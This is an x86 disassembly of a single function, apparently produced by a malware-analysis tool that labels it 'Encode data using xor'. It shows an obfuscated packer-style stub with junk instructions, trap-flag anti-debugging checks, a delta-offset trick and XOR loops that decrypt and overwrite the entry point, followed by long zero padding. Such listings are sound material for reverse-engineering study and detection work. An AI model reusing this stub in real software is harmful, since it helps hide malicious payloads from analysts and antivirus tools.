Function at 0x408b74
Capabilities:
Encode data using xor

Disassembly:
push edx
pushfd
pop edx
test dh, 1
jne 0x408b36
pop edx
nop
mov cl, cl
mov ch, ch
mov esp, esp
xchg cl, cl
jmp 0x408b45
or eax, 0
jmp 0x408b4b
nop
nop
nop
cld
call 0x408b74
xor sp, 0
jmp 0x408b5b
cld
xor bx, 0
jmp 0x408b63
xor dx, 0
add sp, 0
push ecx
pushfd
pop ecx
test ch, 1
jne 0x408b71
pop ecx
pop ebp
cld
sub bp, 0
nop
xchg dx, dx
cld
cld
nop
sub ebp, 0x401005
push edx
pushfd
pop edx
test dh, 1
jne 0x408b8d
pop edx
mov sp, sp
xchg esi, esi
xor dl, 0
cld
nop
cld
nop
lea edi, [ebp + 0x401104]
xchg ebp, ebp
xchg bp, bp
mov edx, edx
jmp 0x408bac
add ax, 0
nop
push ebx
pushfd
pop ebx
test bh, 1
jne 0x408bb7
pop ebx
xchg edi, edi
or dl, 0
add ebp, 0
nop
jmp 0x408bc6
nop
cld
cld
mov ebx, 0x27c
xchg bl, bl
mov dl, dl
add cl, 0
push edx
pushfd
pop edx
test dh, 1
jne 0x408bdb
pop edx
cld
cld
cld
mov dl, byte [edi]
sub cx, 0
push edx
pushfd
pop edx
test dh, 1
jne 0x408bed
pop edx
xchg si, si
xor cx, 0
cld
push eax
pushfd
pop eax
test ah, 1
jne 0x408bfe
pop eax
nop
cld
cld
ror dl, 0x10
cld
sub bp, 0
cld
mov dx, dx
xchg cl, cl
or bh, 0
cld
nop
cld
mov byte [edi], dl
jmp 0x408c1d
jmp 0x408c20
xor esi, 0
cld
nop
cld
cld
dec ebx
cld
nop
nop
nop
inc edi
mov bx, bx
nop
or edx, 0
push ecx
pushfd
pop ecx
test ch, 1
jne 0x408c3a
pop ecx
cld
jmp 0x408c41
push edx
pushfd
pop edx
test dh, 1
jne 0x408c47
pop edx
cld
test ebx, ebx
jne 0x408be1
pushal
mov esi, entry0
mov eax, 0x897764
mov dword [esi], eax
mov eax, 0x7ccd9319
mov dword [esi + 4], eax
mov eax, 0x8bcfb314
mov dword [esi + 8], eax
mov eax, 0x84bdb755
mov dword [esi + 0xc], eax
mov eax, 0x83edf3de
mov dword [esi + 0x10], eax
mov eax, 0x9bede3de
mov dword [esi + 0x14], eax
mov eax, 0x8871b5dc
mov dword [esi + 0x18], eax
popal
jmp 0x408c95
pushal
pushfd
mov esi, entry0
mov edi, esi
mov ecx, 0x1000
mov ebx, 0x8bc9b755
lodsd eax, dword [esi]
xor eax, ebx
stosd dword es:[edi], eax
loop 0x408ca8
popfd
popal
jmp 0x408cb4
pushal
pushfd
mov esi, str.UaU7U
mov edi, esi
mov ecx, 0x800
mov ebx, 0x8bc9b755
lodsd eax, dword [esi]
xor eax, ebx
stosd dword es:[edi], eax
loop 0x408cc7
popfd
popal
mov edi, 0x4011cb
call edi
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax + eax], dh
cld
nop
sub ebp, 0
push edx
pushfd
pop edx
test dh, 1
jne 0x408edc
pop edx
or esi, 0
jmp 0x408ee5
jmp 0x408ee8
mov esp, esp
mov dh, dh
jmp 0x408eef
mov ebp, ebp
jmp 0x408ef4
xchg cl, cl
nop
mov dh, dh
sub bh, 0
xchg eax, eax
push edx
pushfd
pop edx
test dh, 1
jne 0x408f04
pop edx
nop
or dx, 0
jmp 0x408f0f
or ax, 0
sub si, 0
sub eax, 0
xchg bh, bh
jmp 0x408f1f
nop
cld
cld
jmp 0x408f25
xchg ch, ch
xchg al, al
add bx, 0
mov bh, bh
xchg eax, eax
push ebx
pushfd
pop ebx
test bh, 1
jne 0x408f37
pop ebx
or ah, 0
cld
xor ax, 0
xchg dh, dh
jmp 0x408f47
xchg dh, dh
push ecx
pushfd
pop ecx
test ch, 1
jne 0x408f4f
pop ecx
sub ah, 0
xchg bp, bp
cld
or dh, 0
push eax
pushfd
pop eax
test ah, 1
jne 0x408f62
pop eax
mov ebx, ebx
mov edx, edx
jmp 0x408f6c
xor sp, 0
push eax
pushfd
pop eax
test ah, 1
jne 0x408f76
pop eax
sub esp, 0
xchg esi, esi
push edx
pushfd
pop edx
test dh, 1
jne 0x408f84
pop edx
nop
push ecx
pushfd
pop ecx
test ch, 1
jne 0x408f8e
pop ecx
sub bx, 0
xor bp, 0
cld
push eax
pushfd
pop eax
test ah, 1
jne 0x408fa0
pop eax
xor si, 0
nop
nop
nop
cld
nop
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al